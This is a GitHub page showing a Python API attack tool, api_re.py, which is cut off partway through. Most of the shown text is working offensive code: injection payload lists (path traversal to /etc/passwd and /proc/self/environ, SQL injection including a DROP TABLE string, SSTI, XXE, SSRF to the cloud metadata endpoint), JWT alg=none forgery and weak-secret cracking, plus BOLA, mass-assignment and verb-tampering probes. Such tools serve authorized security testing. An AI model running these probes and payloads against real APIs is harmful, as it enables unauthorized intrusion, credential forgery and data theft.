8000 ablation/modules/api_re.py at main · alahmadics/ablation · GitHub
[go: up one dir, main page]
Skip to content

api_re.py

Latest commit

 

History

History
2985 lines (2546 loc) · 122 KB

api_re.py

File metadata and controls

2985 lines (2546 loc) · 122 KB
Raw
#!/usr/bin/env python3
"""
api_re.py — API Reverse Engineering Tool
Autonomously reverse engineers unknown HTTP APIs by:
1. Discovery: path fuzzing, method fuzzing, OpenAPI harvesting
2. Schema extraction: parameter types, required vs optional, defaults
3. Behavior mapping: input→output, error classification, state changes
4. Secret extraction: error messages, stack traces, headers, timing
5. Vuln surface mapping: injection points, file paths, deserialization
Techniques grounded in:
- OWASP API Security Top 10 (BOLA, mass assignment, SSRF, broken auth)
- JWT attack surface (alg=none, algorithm confusion, kid injection, jku SSRF)
- Parameter-layer attacks (pollution, verb tampering, content-type switching)
- GraphQL introspection, batching, alias flooding, depth attacks
- IDOR/BOLA object enumeration
- OAuth2/OIDC: redirect_uri manipulation, token substitution, scope escalation, PKCE downgrade
- gRPC: server reflection, service enumeration, gRPC-Web detection
- SOAP/WSDL: endpoint discovery, XXE in SOAP body
- JSON-RPC: system.listMethods, batch execution
- Business logic: numeric boundary, sequence breaking, price manipulation
- Rate limit bypass: IP header spoofing, path variation, encoding evasion
- Webhook SSRF: cloud metadata, internal service pivot
- Credential reuse: default creds against auth endpoints
Usage:
python api_re.py http://target:port
python api_re.py http://target:port --depth deep
python api_re.py http://target:port --focus injection
python api_re.py http://target:port --fuzz-params /control
python api_re.py http://target:port --focus jwt
python api_re.py http://target:port --focus bola
python api_re.py http://target:port --focus oauth2
python api_re.py http://target:port --focus grpc
python api_re.py http://target:port --focus soap
"""
import requests
import sys
import json
import re
import base64
import time
import itertools
import string
import hashlib
import hmac
from urllib.parse import urljoin, urlparse, urlencode, quote
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field, asdict
from typing import Optional
# ─── Data Models ─────────────────────────────────────────────────────────────
@dataclass
class Endpoint:
path: str
methods: list = field(default_factory=list)
params: dict = field(default_factory=dict) # {name: {type, default, required}}
responses: dict = field(default_factory=dict) # {status: {content_type, body_sample}}
notes: list = field(default_factory=list)
vuln_signals: list = field(default_factory=list)
@dataclass
class APIMap:
base_url: str
openapi: Optional[dict] = None
endpoints: list = field(default_factory=list)
headers: dict = field(default_factory=dict)
auth_required: bool = False
framework: Optional[str] = None
version: Optional[str] = None
notes: list = field(default_factory=list)
findings: list = field(default_factory=list)
# ─── Core HTTP helpers ────────────────────────────────────────────────────────
SESSION = requests.Session()
SESSION.headers.update({"User-Agent": "Mozilla/5.0 (compatible; api-re/1.0)"})
TIMEOUT = 10
VERBOSE = False
_MAX_HTTP_BYTES = 4 * 1024 * 1024 # 4 MB cap on response body
def _safe_read(r):
"""Cap response body at _MAX_HTTP_BYTES using streaming read."""
if r is None:
return r
try:
content = b''
for chunk in r.iter_content(chunk_size=65536):
content += chunk
if len(content) >= _MAX_HTTP_BYTES:
r.close()
break
r._content = content
except Exception:
pass
r 10000 eturn r
def get(url, **kw):
try:
return _safe_read(SESSION.get(url, timeout=TIMEOUT, stream=True, **kw))
except Exception:
return None
def post(url, **kw):
try:
return _safe_read(SESSION.post(url, timeout=TIMEOUT, stream=True, **kw))
except Exception:
return None
def req(method, url, **kw):
try:
return _safe_read(SESSION.request(method, url, timeout=TIMEOUT, stream=True, **kw))
except Exception:
return None
import io
import threading
_stdout_lock = threading.Lock()
def _run_phase_captured(fn, args):
"""Run fn(*args), capturing stdout. Returns (result, captured_str)."""
buf = io.StringIO()
with _stdout_lock:
import contextlib
with contextlib.redirect_stdout(buf):
result = fn(*args)
return result, buf.getvalue()
def _dedup_findings(findings):
"""Deduplicate findings by (type, endpoint/path, param). Keeps first occurrence."""
seen = set()
out = []
for f in findings:
key = (
f.get("type"),
f.get("endpoint") or f.get("path"),
f.get("param"),
)
if key not in seen:
seen.add(key)
out.append(f)
return out
# ─── Phase 1: Framework Detection ────────────────────────────────────────────
FRAMEWORK_SIGNALS = {
"FastAPI": ["/docs", "/openapi.json", "/redoc"],
"Flask": ["/", "/_debug_toolbar"],
"Django": ["/admin/", "/api/schema/"],
"Express": ["/api", "/health"],
"Gradio": ["/config", "/info", "/queue/status"],
"Uvicorn": [], # via Server header
}
def detect_framework(base):
"""Detect framework via headers and known paths."""
signals = {}
r = get(base + "/")
if r:
server = r.headers.get("server", "")
if "uvicorn" in server.lower():
signals["Uvicorn/FastAPI"] = 0.9
elif "gunicorn" in server.lower():
signals["Gunicorn/Flask"] = 0.7
elif "nginx" in server.lower():
signals["Nginx (reverse proxy)"] = 0.5
# Fingerprint via CORS and other headers
if r.headers.get("x-powered-by"):
signals[f"XPoweredBy:{r.headers['x-powered-by']}"] = 0.8
if r.headers.get("x-frame-options"):
signals["django-or-flask"] = 0.4
for path in ["/openapi.json", "/docs", "/redoc"]:
r = get(base + path)
if r and r.status_code < 400:
signals["FastAPI"] = 0.95
break
for path in ["/config", "/queue/status"]:
r = get(base + path)
if r and r.status_code < 400 and "gradio" in r.text.lower():
signals["Gradio"] = 0.95
# GraphQL detection
for path in ["/graphql", "/api/graphql", "/gql", "/query"]:
r = get(base + path)
if r and "graphql" in r.text.lower():
signals["GraphQL"] = 0.9
break
return signals
# ─── Phase 2: OpenAPI / Schema Harvesting ─────────────────────────────────────
OPENAPI_PATHS = [
"/openapi.json", "/openapi.yaml",
"/swagger.json", "/swagger.yaml",
"/api/openapi.json", "/api/swagger.json",
"/v1/openapi.json", "/v2/openapi.json", "/v3/openapi.json",
"/docs/openapi.json",
"/api-docs", "/api-docs.json",
"/api/schema/", "/_schema/",
"/.well-known/openapi.json",
"/api/spec", "/spec.json",
]
def harvest_openapi(base):
"""Try to fetch OpenAPI spec from standard paths."""
for path in OPENAPI_PATHS:
r = get(base + path)
if r and r.status_code == 200:
try:
data = r.json()
if "paths" in data or "openapi" in data or "swagger" in data:
return data
except Exception:
pass
return None
def parse_openapi(spec):
"""Extract endpoint map from OpenAPI spec."""
endpoints = []
for path, methods in spec.get("paths", {}).items():
for method, op in methods.items():
if method in ("get", "post", "put", "patch", "delete"):
ep = Endpoint(path=path, methods=[method.upper()])
for param in op.get("parameters", []):
ep.params[param["name"]] = {
"location": param.get("in"),
"required": param.get("required", False),
"schema": param.get("schema", {}),
}
if "requestBody" in op:
content = op["requestBody"].get("content", {})
for ct, schema_wrap in content.items():
schema = schema_wrap.get("schema", {})
ep.params["__body__"] = {"content_type": ct, "schema": schema}
endpoints.append(ep)
return endpoints
# ─── Phase 3: Path Discovery ───────────────────────────────────────────────────
PATH_WORDLIST = [
# Health / meta
"", "health", "healthz", "ping", "status", "version", "info",
"metrics", "debug", "ready", "alive",
# API versioning (OWASP API9: Improper Inventory)
"api", "api/v1", "api/v2", "api/v3", "api/v4",
"v1", "v2", "v3", "v4",
"api/v1/health", "api/v2/health",
# Auth
"login", "logout", "auth", "token", "oauth", "oauth2",
"admin", "user", "users", "me", "profile",
"refresh", "revoke", "introspect",
# Common operations
"upload", "download", "file", "files", "export", "import",
"config", "settings", "schema",
# Docs
"docs", "redoc", "openapi.json", "swagger", "swagger-ui.html",
# TTS-specific
"tts", "voice", "audio", "model", "models", "speaker",
"synthesize", "synthesis", "infer", "inference",
"set_model", "change_refer", "control",
# ML/AI
"predict", "classify", "embed", "encode", "decode",
"train", "finetune", "eval",
# CRUD
"create", "read", "update", "delete",
"get", "post", "put", "patch",
# Storage
"store", "cache", "save", "load",
# Gradio
"queue", "run", "cancel",
# GraphQL
"graphql", "gql", "query",
# Common deprecated/shadow (OWASP API9)
"api_v1", "api_v2", "_api", "internal", "internal/api",
"legacy", "old", "beta", "test", "dev",
"api/internal", "api/admin",
]
EXTENSIONS = ["", ".json", ".xml", ".yaml", ".txt"]
def fuzz_paths(base, wordlist=None, workers=30, methods=("GET", "POST")):
"""Fuzz endpoint paths and return non-404 responses."""
wl = wordlist or PATH_WORDLIST
found = {}
def probe(path, method):
url = base + "/" + path.lstrip("/")
r = req(method, url, allow_redirects=False)
if r and r.status_code not in (404, 405):
return (path, method, r)
return None
checks = [(p, m) for p in wl for m in methods]
with ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, p, m): (p, m) for p, m in checks}
for f in as_completed(futures):
result = f.result()
if result:
path, method, r = result
key = (path, method)
if key not in found:
found[key] = r
print(f" [{method} {r.status_code}] /{path} "
f"| {r.headers.get('content-type','?')[:40]} "
f"| {len(r.content)}b")
return found
# ─── Phase 3b: API Version Discovery ─────────────────────────────────────────
def discover_versions(base):
"""
Probe versioned API paths. Returns dict of version → {path, status, body_sample}.
Grounded in OWASP API9: Improper Inventory Management — deprecated API
versions often lack hardening applied to current versions.
"""
version_patterns = [
"/v{n}", "/api/v{n}", "/api/{n}", "/{n}.0",
"/api/v{n}.0", "/v{n}/api", "/rest/v{n}",
]
results = {}
for n in range(1, 6):
for pat in version_patterns:
path = pat.replace("{n}", str(n))
r = get(base + path)
if r and r.status_code not in (404, 400, 405):
print(f" [VERSION] {path} → {r.status_code} ({len(r.content)}b)")
results[path] = {"status": r.status_code, "sample": r.text[:100]}
return results
# ─── Phase 4: Parameter Probing ───────────────────────────────────────────────
INJECTION_PROBES = {
"path_traversal": [
"../../../etc/passwd",
"../../../../etc/passwd",
"/etc/passwd",
"/proc/self/cmdline",
"/proc/self/environ",
],
"pickle_rce": [
"/etc/passwd",
"/proc/self/maps",
"/dev/null",
],
"sql_injection": [
"' OR '1'='1",
"'; DROP TABLE users;--",
"1 OR 1=1",
"1' AND SLEEP(3)--",
],
"ssti": [
"{{7*7}}",
"${7*7}",
"<%= 7*7 %>",
"{{config.__class__.__mro__}}",
],
"ssrf": [
"http://127.0.0.1:80/",
"http://localhost/",
"file:///etc/passwd",
"http://169.254.169.254/latest/meta-data/",
"http://0.0.0.0:80/",
"http://[::1]/",
],
"format_string": [
"%s%s%s",
"{0.__class__.__mro__}",
"%x%x%x",
],
"xxe": [
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]><foo>&xxe;</foo>',
],
"prototype_pollution": [
'{"__proto__":{"admin":true}}',
'{"constructor":{"prototype":{"admin":true}}}',
],
}
# Signals that confirm a specific probe category actually triggered its vuln class.
# PATH_ACCESS alone means the server tried to open the value as a path — it only
# confirms path_traversal/pickle_rce, not sql/ssti/ssrf/xxe/etc.
CONFIRMING_SIGNALS = {
"path_traversal": {"PATH_ACCESS", "FILE_READ"},
"pickle_rce": {"PICKLE_DESERIALIZE"},
"sql_injection": {"SQL_REFLECT"},
"ssti": {"SSTI_EVAL"},
"ssrf": {"SSRF_ACTIVE", "SSRF_CLOUD_METADATA"},
"format_string": {"SSTI_EVAL", "FORMAT_EVAL"},
"xxe": {"FILE_READ", "SSRF_ACTIVE", "SSRF_CLOUD_METADATA"},
"prototype_pollution": {"PROTO_POLLUTION_REFLECT"},
}
def probe_param(base_url, path, param, method="GET", timeout=10):
"""
Probe a single parameter with all injection payloads.
Only reports a category as confirmed when a category-specific signal fires —
PATH_ACCESS alone does NOT confirm sql_injection / ssti / ssrf / xxe.
"""
results = {}
url = base_url + path
for category, payloads in INJECTION_PROBES.items():
category_results = []
for payload in payloads:
try:
if method == "GET":
r = SESSION.get(url, params={param: payload}, timeout=timeout)
else:
if category in ("xxe", "prototype_pollution"):
ct = "application/xml" if category == "xxe" else "application/json"
r = SESSION.post(url, data=payload if category == "xxe" else None,
json=json.loads(payload) if category == "prototype_pollution" else None,
headers={"Content-Type": ct}, timeout=timeout)
else:
r = SESSION.post(url, json={param: payload}, timeout=timeout)
result = {
"payload": payload,
"status": r.status_code,
"body": r.text[:200],
"signals": [],
}
body = r.text.lower()
if "errno" in body or "no such file" in body:
result["signals"].append("PATH_ACCESS")
if "invalid load key" in body or "unpickling" in body or "pickle data" in body:
result["signals"].append("PICKLE_DESERIALIZE")
if any(x in body for x in ("syntax error", "mysql", "ora-", "pg::", "sqlite")):
result["signals"].append("SQL_REFLECT")
if "49" in body and "{{" in payload:
result["signals"].append("SSTI_EVAL")
if "root:" in body or "/bin/bash" in body or "daemon:" in body:
result["signals"].append("FILE_READ")
if "connection refused" in body or "no route to host" in body:
result["signals"].append("SSRF_ACTIVE")
# SSRF_CLOUD_METADATA only counts if metadata content appears WITHOUT
# a "no such file" error (otherwise the URL just reflected in a path error)
if ("169.254" in body or "ami-id" in body or "instance-id" in body) \
and "no such file" not in body and "errno" not in body:
result["signals"].append("SSRF_CLOUD_METADATA")
if "admin" in body and "proto" in payload.lower() and r.status_code == 200:
result["signals"].append("PROTO_POLLUTION_REFLECT")
if "%" in payload and body != body.replace(payload, "") and "errno" not in body:
result["signals"].append("FORMAT_EVAL")
# Only flag a signal if it's a confirming signal for this category
confirming = CONFIRMING_SIGNALS.get(category, set())
confirmed = [s for s in result["signals"] if s in confirming]
if confirmed:
result["confirmed_signals"] = confirmed
category_results.append(result)
print(f" [!] {category} CONFIRMED on param={param!r}: {confirmed} | {result['body'][:80]}")
elif result["signals"] and VERBOSE:
print(f" [~] {category} probe on param={param!r}: signals={result['signals']} (not confirming for {category})")
except Exception:
pass
if category_results:
results[category] = category_results
return results
# ─── Phase 4b: Verb Tampering ─────────────────────────────────────────────────
HTTP_METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD",
"TRACE", "CONNECT", "PROPFIND", "LOCK", "UNLOCK"]
METHOD_OVERRIDE_HEADERS = [
"X-HTTP-Method-Override",
"X-HTTP-Method",
"X-Method-Override",
"_method",
]
def probe_verb_tampering(base, endpoints):
"""
OWASP API5: Broken Function Level Authorization.
Try all HTTP methods on each endpoint. Some endpoints allow DELETE/PUT
only for admins — verb tampering bypasses gateways that only check GET/POST.
Also probe X-HTTP-Method-Override header injection.
"""
findings = []
for ep in endpoints[:10]: # limit to first 10 endpoints
url = base + ep.path
baseline = req("GET", url)
baseline_code = baseline.status_code if baseline else 0
for method in HTTP_METHODS:
if method in ep.methods:
continue
r = req(method, url)
if r and r.status_code not in (405, 501, 404, 0):
if r.status_code != baseline_code:
print(f" [VERB] {method} {ep.path} → {r.status_code} (baseline GET={baseline_code})")
findings.append({
"endpoint": ep.path,
"method": method,
"status": r.status_code,
"note": f"unexpected {method} response (GET={baseline_code})",
})
# Method override header injection
for override_header in METHOD_OVERRIDE_HEADERS[:2]:
for override_method in ["DELETE", "PUT", "PATCH"]:
r = req("POST", url, headers={override_header: override_method})
if r and r.status_code not in (405, 404, 501):
print(f" [VERB_OVERRIDE] {override_header}: {override_method} on {ep.path} → {r.status_code}")
findings.append({
"endpoint": ep.path,
"override_header": override_header,
"override_method": override_method,
"status": r.status_code,
})
return findings
# ─── Phase 4c: Content-Type Switching ────────────────────────────────────────
CONTENT_TYPES = [
("application/json", lambda d: json.dumps(d)),
("application/xml", lambda d: "<root>" + "".join(f"<{k}>{v}</{k}>" for k, v in d.items()) + "</root>"),
("application/x-www-form-urlencoded", lambda d: urlencode(d)),
("text/plain", lambda d: str(d)),
("multipart/form-data", None), # handled separately
]
def probe_content_type_switch(base, endpoints):
"""
Some APIs validate input differently per content-type.
A JSON endpoint that doesn't parse XML may reflect raw XML as error →
XXE or injection surface. Form-encoded params may bypass JSON validators.
"""
findings = []
for ep in [e for e in endpoints if "POST" in e.methods or "PUT" in e.methods][:5]:
url = base + ep.path
test_data = {"x": "test", "id": "1"}
for ct, encoder in CONTENT_TYPES[:3]:
if encoder is None:
continue
body = encoder(test_data)
r = req("POST", url, data=body if ct != "application/json" else None,
json=test_data if ct == "application/json" else None,
headers={"Content-Type": ct})
if r and r.status_code not in (415, 404, 0):
print(f" [CT_SWITCH] {ct} on {ep.path} → {r.status_code}")
if "xml" in r.text.lower() or "error" in r.text.lower():
findings.append({"endpoint": ep.path, "content_type": ct, "status": r.status_code,
"sample": r.text[:100]})
return findings
# ─── Phase 4d: Parameter Pollution ───────────────────────────────────────────
def probe_param_pollution(base, endpoints):
"""
HTTP Parameter Pollution: duplicate params with different values.
Some parsers use first value, some last, some concatenate.
Can bypass WAF rules (WAF reads first, app reads last) or
cause type confusion in strongly-typed backends.
"""
findings = []
for ep in endpoints[:8]:
url = base + ep.path
for param in list(ep.params.keys())[:3]:
if param == "__body__":
continue
# Duplicate param: legitimate value + injection
polluted_url = f"{url}?{param}=safe&{param}=' OR 1=1--"
r = req("GET", polluted_url)
if r and ("error" in r.text.lower() or "sql" in r.text.lower()):
print(f" [PARAM_POLL] Duplicate {param} on {ep.path} → {r.status_code}: {r.text[:80]}")
findings.append({"endpoint": ep.path, "param": param, "status": r.status_code,
"sample": r.text[:100]})
return findings
# ─── Phase 4e: Mass Assignment Probe ─────────────────────────────────────────
MASS_ASSIGNMENT_FIELDS = [
"admin", "is_admin", "role", "superuser", "is_superuser",
"privilege", "privileges", "group", "groups",
"verified", "active", "enabled", "account_type",
"balance", "credits", "score", "rank",
"permissions", "access_level", "tier",
"email_verified", "phone_verified",
"id", "user_id", "account_id", # ID override
]
def probe_mass_assignment(base, endpoints):
"""
OWASP API3: Mass Assignment / Broken Object Property Level Authorization.
Send extra privileged fields in POST/PUT requests.
If any are reflected in the response, the API has mass assignment.
If the server accepts is_admin=true, that's authorization bypass.
"""
findings = []
for ep in [e for e in endpoints if "POST" in e.methods or "PUT" in e.methods][:5]:
url = base + ep.path
# Baseline: normal POST
baseline = req("POST", url, json={"test": "value"})
baseline_body = baseline.text if baseline else ""
# Augmented: with admin fields
extra = {f: True for f in MASS_ASSIGNMENT_FIELDS[:8]}
extra["test"] = "value"
r = req("POST", url, json=extra)
if r:
# Check if any privileged field was reflected
for field in MASS_ASSIGNMENT_FIELDS[:8]:
if field in r.text and field not in baseline_body:
print(f" [MASS_ASSIGN] Field {field!r} reflected in {ep.path}: {r.text[:100]}")
findings.append({"endpoint": ep.path, "reflected_field": field,
"status": r.status_code, "sample": r.text[:150]})
return findings
# ─── Phase 4f: BOLA / IDOR Probe ─────────────────────────────────────────────
import uuid
IDOR_ID_TYPES = [
("integer", [str(i) for i in range(1, 6)] + ["0", "-1", "9999999"]),
("uuid", [str(uuid.uuid4()) for _ in range(3)] + ["00000000-0000-0000-0000-000000000000"]),
("alphanumeric", ["abc", "test", "admin", "user", "root"]),
]
def probe_bola(base, endpoints):
"""
OWASP API1: Broken Object Level Authorization.
Try numeric IDs, UUIDs, and common string IDs in path segments.
Compare authenticated vs unauthenticated responses.
Also try ID substitution in query params.
"""
findings = []
for ep in endpoints[:8]:
path = ep.path
url = base + path
# Inject IDs into path segments with {placeholder} patterns
if "{" in path:
for id_type, ids in IDOR_ID_TYPES:
for test_id in ids[:3]:
test_path = re.sub(r"\{[^}]+\}", test_id, path)
r = req("GET", base + test_path)
if r and r.status_code == 200 and len(r.content) > 50:
print(f" [BOLA] {test_path} → 200 ({len(r.content)}b) [{id_type} id={test_id}]")
findings.append({"path": test_path, "id_type": id_type,
"id": test_id, "size": len(r.content)})
# Try appending IDs to paths
for test_id in ["1", "2", "admin", "00000000-0000-0000-0000-000000000001"]:
r = req("GET", url.rstrip("/") + f"/{test_id}")
if r and r.status_code == 200 and len(r.content) > 50:
print(f" [BOLA] {path}/{test_id} → 200 ({len(r.content)}b)")
findings.append({"path": f"{path}/{test_id}", "id": test_id,
"size": len(r.content)})
return findings
# ─── Phase 4g: GraphQL Introspection ─────────────────────────────────────────
GRAPHQL_PATHS = ["/graphql", "/api/graphql", "/gql", "/query", "/v1/graphql", "/graphiql"]
INTROSPECTION_QUERY = {
"query": """
{
__schema {
queryType { name }
mutationType { name }
types {
name
fields { name type { name kind } }
}
}
}
"""
}
MUTATION_PROBE = {
"query": "mutation { __typename }"
}
def probe_graphql(base):
"""
Probe for GraphQL endpoints and run introspection.
Introspection reveals full schema — all types, queries, mutations.
Disabled introspection can sometimes be bypassed with fragment aliases
or field suggestion errors.
"""
findings = []
for path in GRAPHQL_PATHS:
r = post(base + path, json=INTROSPECTION_QUERY)
if r and r.status_code == 200:
try:
data = r.json()
if "data" in data and "__schema" in str(data):
print(f" [GRAPHQL] Introspection enabled at {path}")
types = data.get("data", {}).get("__schema", {}).get("types", [])
for t in types:
if t.get("name") and not t["name"].startswith("__"):
fields = [f["name"] for f in (t.get("fields") or [])]
if fields:
print(f" Type: {t['name']} → {', '.join(fields[:5])}")
findings.append({"path": path, "types": [t.get("name") for t in types[:20]]})
elif "errors" in data:
err = str(data["errors"])
# Suggestion errors leak field names even with introspection off
if "did you mean" in err.lower() or "suggestion" in err.lower():
print(f" [GRAPHQL_SUGGEST] Field suggestion leakage at {path}: {err[:100]}")
findings.append({"path": path, "type": "suggestion_leak", "error": err[:200]})
except Exception:
pass
# Check for mutation capability (state change)
r2 = post(base + path, json=MUTATION_PROBE)
if r2 and r2.status_code == 200 and "mutation" in r2.text.lower():
print(f" [GRAPHQL_MUTATION] Mutations enabled at {path}")
findings.append({"path": path, "type": "mutation_enabled"})
return findings
# ─── Phase 4h: JWT Analysis ───────────────────────────────────────────────────
JWT_WEAK_SECRETS = [
"secret", "password", "123456", "qwerty", "admin",
"test", "", "jwt", "token", "key", "api_key",
"change_me", "your-256-bit-secret", "supersecret",
"HS256", "HS512", "your-secret-key",
]
def decode_jwt_unsafe(token):
"""Decode JWT without signature verification. Returns (header, payload) or None."""
try:
parts = token.split(".")
if len(parts) != 3:
return None
header = json.loads(base64.b64decode(parts[0] + "=="))
payload = json.loads(base64.b64decode(parts[1] + "=="))
return header, payload
except Exception:
return None
def forge_jwt_alg_none(token):
"""Forge JWT with alg=none (removes signature verification)."""
result = decode_jwt_unsafe(token)
if not result:
return None
header, payload = result
header["alg"] = "none"
new_header = base64.b64encode(json.dumps(header).encode()).decode().rstrip("=")
new_payload = base64.b64encode(json.dumps(payload).encode()).decode().rstrip("=")
return f"{new_header}.{new_payload}."
def crack_jwt_secret(token):
"""Try weak secrets for HS256/HS384/HS512 JWT."""
result = decode_jwt_unsafe(token)
if not result:
return None
header, _ = result
alg = header.get("alg", "")
if not alg.startswith("HS"):
return None
hash_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
h_fn = hash_map.get(alg, hashlib.sha256)
parts = token.split(".")
msg = f"{parts[0]}.{parts[1]}".encode()
sig = base64.urlsafe_b64decode(parts[2] + "==")
for secret in JWT_WEAK_SECRETS:
candidate = hmac.new(secret.encode(), msg, h_fn).digest()
if candidate == sig:
return secret
return None
def analyze_tokens_in_response(base, endpoints):
"""
Extract JWTs from API responses, analyze alg, check for alg=none bypass,
try weak secret cracking. Also checks for Bearer token patterns in errors.
OWASP API2: Broken Authentication.
"""
findings = []
jwt_pattern = re.compile(r'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*')
for ep in endpoints[:10]:
url = base + ep.path
r = get(url)
if not r:
continue
tokens = jwt_pattern.findall(r.text + str(r.headers))
for token in tokens[:3]:
result = decode_jwt_unsafe(token)
if not result:
continue
header, payload = result
alg = header.get("alg", "?")
print(f" [JWT] Found at {ep.path}: alg={alg} | payload_keys={list(payload.keys())}")
# Check alg=none
forged = forge_jwt_alg_none(token)
if forged:
r2 = get(url, headers={"Authorization": f"Bearer {forged}"})
if r2 and r2.status_code != 401:
print(f" [JWT_ALG_NONE] alg=none accepted at {ep.path}: {r2.status_code}")
findings.append({"endpoint": ep.path, "type": "alg_none_bypass",
"status": r2.status_code})
# Check weak secret
secret = crack_jwt_secret(token)
if secret is not None:
print(f" [JWT_WEAK_SECRET] Secret found: {secret!r} at {ep.path}")
findings.append({"endpoint": ep.path, "type": "weak_jwt_secret",
"secret": secret})
# Check kid injection (SQLi/path traversal in kid header)
if "kid" in header:
kid = header["kid"]
print(f" [JWT_KID] kid={kid!r} — potential SQLi/path traversal in key lookup")
findings.append({"endpoint": ep.path, "type": "jwt_kid_present",
"kid": kid})
# Check jku/x5u (SSRF via JWK Set URL)
for ssrf_claim in ("jku", "x5u", "jwks_uri"):
if ssrf_claim in header:
print(f" [JWT_SSRF] {ssrf_claim}={header[ssrf_claim]!r} — JWK URL SSRF possible")
findings.append({"endpoint": ep.path, "type": f"jwt_{ssrf_claim}_ssrf",
"url": header[ssrf_claim]})
findings.append({"endpoint": ep.path, "type": "jwt_found",
"alg": alg, "payload_keys": list(payload.keys())})
return findings
# ─── Phase 4i: Hidden Parameter Discovery via JS ──────────────────────────────
PARAM_PATTERNS = [
re.compile(r'"([a-z][a-z0-9_]{2,30})":\s*(?:"[^"]*"|[0-9]+|true|false|null)', re.I),
re.compile(r"'([a-z][a-z0-9_]{2,30})':\s*(?:'[^']*'|[0-9]+|true|false|null)", re.I),
re.compile(r'\bparams\[["\']([a-z][a-z0-9_]{2,30})["\']\]', re.I),
re.compile(r'\bdata\.[a-z][a-z0-9_]{2,30}\b', re.I),
re.compile(r'(?:query|body|payload)\s*=\s*\{([^}]+)\}', re.I),
]
JS_PATHS = ["/static/js/main.js", "/assets/index.js", "/js/app.js",
"/static/app.js", "/bundle.js", "/dist/bundle.js",
"/assets/main.js", "/js/bundle.js"]
def discover_hidden_params(base):
"""
Extract parameter names from JS bundles and API responses.
JS bundle analysis reveals undocumented params that the frontend sends
but the API docs don't expose. These are often unvalidated inputs.
"""
all_params = set()
for path in JS_PATHS:
r = get(base + path)
if r and r.status_code == 200 and "javascript" in r.headers.get("content-type", ""):
for pattern in PARAM_PATTERNS:
matches = pattern.findall(r.text)
all_params.update(m if isinstance(m, str) else m[0] for m in matches)
# Also check main page and API responses
r = get(base + "/")
if r:
for pattern in PARAM_PATTERNS:
all_params.update(pattern.findall(r.text))
if all_params:
print(f" [HIDDEN_PARAMS] Extracted {len(all_params)} param names from JS: {sorted(all_params)[:20]}")
return sorted(all_params)
# ─── Phase 5: Error Extraction / Information Leakage ─────────────────────────
def extract_info_from_errors(base, endpoints):
"""
Trigger structured errors to extract stack traces, internal paths,
config values, and schema information.
FastAPI pydantic validation errors (422) reveal full param schema.
"""
findings = []
for ep in endpoints:
url = base + ep.path
for method in ep.methods:
probes = [
{},
{"x": "A" * 1000},
{"__proto__": {"admin": True}},
# Type confusion: send string where int expected
{k: "INVALID_TYPE_XYZ" for k in list(ep.params.keys())[:3] if k != "__body__"},
]
for probe in probes:
r = req(method, url, json=probe, params=probe if method == "GET" else {})
if r and r.status_code in (400, 422, 500):
body = r.text
if "detail" in body:
findings.append({
"endpoint": f"{method} {ep.path}",
"type": "validation_error",
"body": body[:300],
})
if "Traceback" in body or "Error" in body:
findings.append({
"endpoint": f"{method} {ep.path}",
"type": "stack_trace_leak",
"body": body[:500],
})
# Check for path disclosure
if "/home/" in body or "/var/" in body or "/usr/" in body or "/root/" in body:
findings.append({
"endpoint": f"{method} {ep.path}",
"type": "path_disclosure",
"body": body[:300],
})
return findings
# ─── Phase 6: Behavior Mapping ───────────────────────────────────────────────
def map_state_changes(base, endpoints):
"""
Detect state changes by probing endpoints multiple times.
Side-effect-inducing endpoints return different responses on second call.
"""
state_changing = []
for ep in endpoints:
url = base + ep.path
for method in ep.methods:
r1 = req(method, url)
r2 = req(method, url)
if r1 and r2:
if r1.text != r2.text:
state_changing.append({
"endpoint": f"{method} {ep.path}",
"note": "non-idempotent: responses differ between calls",
"r1": r1.text[:100],
"r2": r2.text[:100],
})
return state_changing
# ─── Phase 7: Rate Limiting Probe ────────────────────────────────────────────
def probe_rate_limiting(base, endpoints):
"""
OWASP API4: Unrestricted Resource Consumption.
Check if the API rate limits requests. Send 20 rapid requests to each
endpoint and watch for 429 or slowdown. Absence = DoS surface.
"""
View remainder of file in raw view
0